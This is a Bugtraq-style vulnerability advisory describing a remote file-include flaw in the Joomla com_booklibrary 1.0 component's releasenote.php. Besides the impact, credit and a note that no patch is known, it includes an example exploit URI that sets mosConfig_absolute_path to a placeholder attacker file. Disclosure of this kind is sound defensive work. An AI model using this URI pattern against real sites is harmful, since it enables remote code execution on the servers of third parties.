Joomla! com_booklibrary Component 'releasenote.php' Remote File Include Vulnerability

Bugtraq ID:	36732
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 19 2009 12:00AM
Updated:	Oct 20 2009 05:28PM
Credit:	kaMtiEz
Vulnerable:	Joomla com_booklibrary 1.0
Not Vulnerable:

Joomla! com_booklibrary Component 'releasenote.php' Remote File Include Vulnerability

The 'com_booklibrary' component for Joomla! is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects com_booklibrary 1.0; other versions may be affected as well.

Joomla! com_booklibrary Component 'releasenote.php' Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/administrator/components/com_booklibrary/doc/releasenote.php?mosConfig_absolute_path=[INDONESIANCODER-Ev1L]

Joomla! com_booklibrary Component 'releasenote.php' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla! com_booklibrary Component 'releasenote.php' Remote File Include Vulnerability

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